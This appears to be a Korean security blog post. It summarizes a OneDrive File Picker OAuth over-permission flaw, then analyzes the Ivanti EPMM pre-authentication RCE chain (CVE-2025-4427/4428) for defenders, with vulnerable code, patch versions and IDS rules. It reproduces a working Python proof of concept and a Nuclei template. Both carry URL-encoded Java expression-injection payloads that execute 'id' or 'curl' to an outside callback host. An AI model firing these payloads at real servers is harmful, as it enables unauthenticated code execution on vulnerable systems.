요약 - MS 클라우드 서비스인 OneDrive에 연동 앱들이 사용자 폴더 전체를 볼 수 있는 보안 허점 발견
- OneDrive에 저장된 파일을 챗GPT에 올릴 때, 업로드된 파일뿐 아니라 다른 모든 파일을 보거나 수정할 수 있음
내용 - Oasis Security 연구팀, OneDrive File Picker 기능에서 보안 허점 발견
> OneDrive File Picker : 윈드라이브에서 업로드할 파일을 선택할 때 쓰는 기능
> OneDrive File Picker를 통해 파일을 업로드할 때, 사용자의 전체 OneDrive 콘텐츠에 접근할 수 있음

- OneDrive에 대한 세분화된 OAuth 범위가 없기 때문에 발생하는 문제
> OneDrive File Picker 구현에서 단일 파일만 업로드하는 경우에도 전체 드라이브에 대한 읽기 권한 요청
> 업로드 완료 전 사용자에게 동의를 요청하는 메시지가 표시되나 메시지의 모호성 존재

- 또, OneDrive File Picker 관련 인증에 주로 쓰이는 마이크로소프트 인증 라이브러리(MSAL)에서도 문제 발견
> 인증 토큰 정보를 브라우저의 세션 저장 공간에 평문으로 저장
> 토큰을 자주 재발급해 사용자 데이터에 접근할 수 있는 기간을 늘인다는 문제도 존재

- MS 계정 페이지에서 외부 앱 접근 권한을 확인하고 불필요한 앱의 공유 중단 필요
기타 - Oasis는 취약점 발견 직후 MS와 해당 기능을 사용하는 기업에 통보
> MS 문제 개선 약속

 

보안뉴스

 

챗GPT에 파일 올렸을 뿐인데...내 원드라이브 다 노출된다고?

마이크로소프트 클라우드 서비스인 원드라이브에 연동 앱들이 사용자 폴더 전체를 들여다볼 수 있는 보안 허점이 있는 것으로 드러났다. 원드라이브에 저장된 파일을 챗GPT에 올릴 때, 챗GPT 앱

www.boannews.com

 

OneDrive File Picker OAuth Flaw Exposes Full Drive Access

Oasis Security reveals a OneDrive File Picker flaw allowing full drive read access via OAuth, affecting apps like ChatGPT, Slack, Trello, and ClickUp.

www.oasis.security

1. Ivanti Endpoint Manager Mobile

- 모바일 기기 관리(MDM), 모바일 애플리케이션 관리(MAM), 모바일 콘텐츠 관리(MCM)를 포함한 포괄적인 보안 및 통합 엔드포인트 관리(UEM) 도구를 하나로 통합 [1] 

2. 취약점

2.1 CVE-2025-4427

[사진 1] CVE-2025-4427 [2]

- 공격자가 적절한 자격 증명 없이 보호된 리소스에 접근할 수 있는 인증 우회 취약점

 

2.2 CVE-2025-4428

[사진 3] CVE-2025-4428 [3]

- 공격자가 대상 시스템에서 임의 코드를 실행할 수 있는 원격 코드 실행 취약점

 

2.3 취약점 상세

- /api/v2/featureusage?format=값 (또는 /api/v2/featureusage_history?format=값)로 GET 요청을 전송 [4][5]

> 해당 요청은 @Valid 어노테이션에 의해 DeviceFeatureUsageReportQueryRequestValidator에 의해 검증됨

@RequestMapping(method = GET, value = "/api/v2/featureusage")
@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_FEATURE_USAGE_DATA_VIEW'})")
@ResponseBody
public Response downloadDeviceFeatureUsageReport(
    @Valid @ModelAttribute DeviceFeatureUsageReportQueryRequest queryRequest,
    HttpServletRequest request) {
    [...]
  }

 

- 검증 중 format 파라미터는 유효한 형식인지 확인(json 또는 cvs)

> 유효한 형식이 아닌 경우 해당 format이 포함 및 실행되어 오류 메시지에 나타남

> 모든 인수가 바인딩되고 검증된 후에 인증 검사가 실행되므로 공격자는 인증 없이도 임의의 코드를 실행할 수 있음

※ CVE-2025-4427는 인증 우회가 아닌, 보안 경계가 코드에 적용되는 순서에 논리적 결함이 존재할 때 발생하는 연산 순서 취약점에 가까움

implements ConstraintValidator<ValidDeviceFeatureUsageReportQueryRequest, DeviceFeatureUsageReportQueryRequest>
{  
  @Autowired
  private LocalizedMessageBuilder localizedMessageBuilder;
  
  public void initialize(ValidDeviceFeatureUsageReportQueryRequest constraintAnnotation) {}
  
  public boolean isValid(DeviceFeatureUsageReportQueryRequest value, ConstraintValidatorContext context) {
    String format = value.getFormat(); // [1]
    if (format == null) {
      return true;
    }
    
    boolean isValid = (format.equalsIgnoreCase("json") || format.equalsIgnoreCase("csv")); // [2]
    if (!isValid) {
      String formatMessage = this.localizedMessageBuilder.getLocalizedMessage((MessageCode)MessageKeys.DEVICE_FEATURE_USAGE_INVALID_FORMAT, new Object[] { format }); // [3]
      
      context.disableDefaultConstraintViolation();
      context.buildConstraintViolationWithTemplate(formatMessage).addConstraintViolation();
    } 
    
    return isValid;
  }
}

3. PoC

- /mifs/rs/api/v2/featureusage?format=<JSON 또는 CSV가 아닌 형식의 명령> 전달 [6]

import argparse
import urllib3
import random
import string
import base64
import hashlib
from datetime import datetime, timedelta

import requests

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchTowr-vs-Ivanti-EPMM-rce-chain.py
        (*) CVE-2025-4427 and CVE-2025-4428 Pre-Auth RCE Chain Detection Artifact Generator

          - Sonny and Piotr of watchTowr 

"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {}

def detect(host):
    
    url = host + '/mifs/rs/api/v2/featureusage?format=%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27%69%64%27%29%7d'

    print('[+] Executing `id` command')
    resp = requests.get(url, verify = False, proxies = proxies)

    if resp.status_code == 400 and 'Process[pid' in resp.text:
        print('[+] VULNERABLE')
    elif resp.status_code == 401:
        print('[-] NOT VULNERABLE - 401 returned')
    else:
        print('[-] Unknown error appeared, please check manually')


if __name__ == "__main__":

    print(banner)

    parser = argparse.ArgumentParser()

    parser.add_argument('-H', dest = 'host', action = "store", type = str, help = 'Host, like "https://target/" or "https://target"', required = True)

    args = parser.parse_args()
    host = args.host

    if host[-1] != '/':
        host += '/'
    
    print('[+] Starting Detection Artifact Generator for CVE-2025-4427 + CVE-2025-4428 Chain')
    
    detect(host)

[사진 4] 공격 예시

4. 대응방안

- 벤더사 제공 업데이트 적용 [7][8]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-4427
CVE-2025-4428
Ivanti Endpoint Manager Mobile 11.12.0.4 이하 11.12.0.5
12.3.0.1 이하 12.3.0.2
12.4.0.1 이하 12.4.0.2
12.5.0.0 이하 12.5.0.1

 

- 탐지 정책 적용

alert tcp any any -> any any (msg:"CVE-2025-4427/4428";flow:to_server,established;content:"GET";http_method;content:"/api/v2/featureusage"; http_uri;content:"format="; http_uri;)

alert tcp any any -> any any (msg:"CVE-2025-4427/4428";flow:to_server,established;content:"GET";http_method;content:"/api/v2/featureusage_history"; http_uri;content:"format="; http_uri;)


[Nuclei template]

id: CVE-2025-4427

info:
  name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
  reference:
    - hxxps://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-4427
    cwe-id: CWE-288
    epss-score: 0.00942
    epss-percentile: 0.75063
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.favicon.hash:"362091310"
    fofa-query: icon_hash="362091310"
    product: endpoint_manager_mobile
    vendor: ivanti
  tags: cve,cve2025,ivanti,epmm,rce,ssti

http:
  - raw:
      - |
        GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Format 'Process[pid="
          - "localizedMessage"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: status
        status:
          - 400

5. 참고

[1] https://help.ivanti.com/mi/help/en_US/core/11.x/gsg/CoreGettingStarted/Core_overview.htm
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-4427
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-4428
[4] https://labs.watchtowr.com/expression-payloads-meet-mayhem-cve-2025-4427-and-cve-2025-4428
[5] https://projectdiscovery.io/blog/ivanti-remote-code-execution
[6] https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428
[7] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM?language=en_US
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71759&menuNo=205020
[9] https://thehackernews.com/2025/05/ivanti-patches-epmm-vulnerabilities.html
[10] https://thehackernews.com/2025/05/chinese-hackers-exploit-ivanti-epmm.html?utm_source=chatgpt.com

+ Recent posts